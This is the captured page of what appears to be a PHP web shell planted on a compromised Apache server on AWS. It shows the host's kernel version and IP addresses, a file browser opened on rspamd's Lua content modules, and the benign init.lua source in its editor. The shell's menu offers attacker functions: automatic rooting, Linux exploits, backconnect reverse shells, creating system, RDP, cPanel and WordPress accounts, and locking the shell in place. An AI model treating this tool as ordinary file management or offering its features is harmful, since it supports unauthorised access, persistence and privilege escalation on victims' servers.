Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.117.107.97
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
rspamd /
lualib /
lua_content /
[ HOME SHELL ]
Name
Size
Permission
Action
ical.lua
2.64
KB
-rw-r--r--
init.lua
2.63
KB
-rw-r--r--
pdf.lua
42.87
KB
-rw-r--r--
vcard.lua
2.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : init.lua
--[[ Copyright (c) 2022, Vsevolod Stakhov <vsevolod@rspamd.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]]-- --[[[ -- @module lua_content -- This module contains content processing logic --]] local exports = {} local N = "lua_content" local lua_util = require "lua_util" local content_modules = { ical = { mime_type = { "text/calendar", "application/calendar" }, module = require "lua_content/ical", extensions = { 'ics' }, output = "text" }, vcf = { mime_type = { "text/vcard", "application/vcard" }, module = require "lua_content/vcard", extensions = { 'vcf' }, output = "text" }, pdf = { mime_type = "application/pdf", module = require "lua_content/pdf", extensions = { 'pdf' }, output = "table" }, } local modules_by_mime_type local modules_by_extension local function init() modules_by_mime_type = {} modules_by_extension = {} for k, v in pairs(content_modules) do if v.mime_type then if type(v.mime_type) == 'table' then for _, mt in ipairs(v.mime_type) do modules_by_mime_type[mt] = { k, v } end else modules_by_mime_type[v.mime_type] = { k, v } end end if v.extensions then for _, ext in ipairs(v.extensions) do modules_by_extension[ext] = { k, v } end end end end exports.maybe_process_mime_part = function(part, task) if not modules_by_mime_type then init() end local ctype, csubtype = part:get_type() local mt = string.format("%s/%s", ctype or 'application', csubtype or 'octet-stream') local pair = modules_by_mime_type[mt] if not pair then local ext = part:get_detected_ext() if ext then pair = modules_by_extension[ext] end end if pair then lua_util.debugm(N, task, "found known content of type %s: %s", mt, pair[1]) local data = pair[2].module.process(part:get_content(), part, task) if data then lua_util.debugm(N, task, "extracted content from %s: %s type", pair[1], type(data)) part:set_specific(data) else lua_util.debugm(N, task, "failed to extract anything from %s", pair[1]) end end end return exports
Close